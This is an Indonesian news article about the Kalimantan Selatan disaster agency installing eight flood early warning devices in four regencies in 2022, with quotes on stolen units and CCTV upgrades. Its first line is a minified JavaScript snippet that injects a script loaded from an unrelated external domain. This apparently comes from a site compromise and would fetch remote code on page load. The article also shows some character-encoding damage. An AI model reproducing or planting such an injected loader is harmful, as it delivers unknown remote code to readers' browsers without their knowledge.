(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

BPBD Kalsel Pasang 8 Alat EWS di 4 Kabupaten Rawan Bencana

KANALKALIMANTAN.COM, BANJARBARU â€“ Deteksi dini risiko bencana alam di Kalimantan Selatan (Kalsel), Badan Penanggulangan Bencana Daerah (BPBD) Kalsel memasang alat Early Warning System (EWS) atau sistem peringatan dini untuk bencana.

EWS diletakkan pada titik-titik rawan bencana di Provinsi Kalsel, guna memberikan peringatan dini sebagai langkah antisipasi bencana.

BPBD Kalsel memasang alat EWS di Kabupaten Hulu Sungai Tengah (HST), Balangan, Tabalong dan Kabupaten Banjar sebanyak 8 buah pada tahun 2022 ini.

Kasubbid Kesiapsiagaan BPBD Kalsel, Ariansyah mengatakan, pemasangan alat EWS atau sistem peringatan dini ini diterapkan pada daerah rawan bencana di Kalsel.

â€œKabupaten lainnya nanti akan dibantu pengadaannya dari Dinas PUPR Kalsel dan juga akan mengikuti sistem alur peringatan dini. Nanti ditindaklanjuti dengan pelatihan terkait bagaimana praktek tentang simulasi dan tentang menjalankan alat sistem peringatan ini,â€ katanya.

Tahun 2022 ini sudah memasang 8 buah alat EWS di beberapa wilayah rawan bencana di Kalsel.

Beberapa wilayah di Kalsel yang berada di daerah hilir tidak memerlukan EWS, seperti di Banjarmasin dan Banjarbaru, karena bisa dihandle anggota BPBD setempat untuk peringatan dini.

â€œBPBD Kalsel dengan tahun 2021 lalu hingga saat ini, sudah ada 12 alat EWS terpasang,â€ bebernya.

Namun, ada beberapa alat EWS yang hilang, seperti di Kabupaten HST hilang karena tergerus banjir dan di Tanah Laut dicuri orang.

â€œYang dulu (EWS) banyak yang tidak layak, sehingga kita upgrade dengan teknologi yang baru. Sekarang dilengkapi CCTV, memungkinkan langsung melihat di lapangan,â€ tandasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie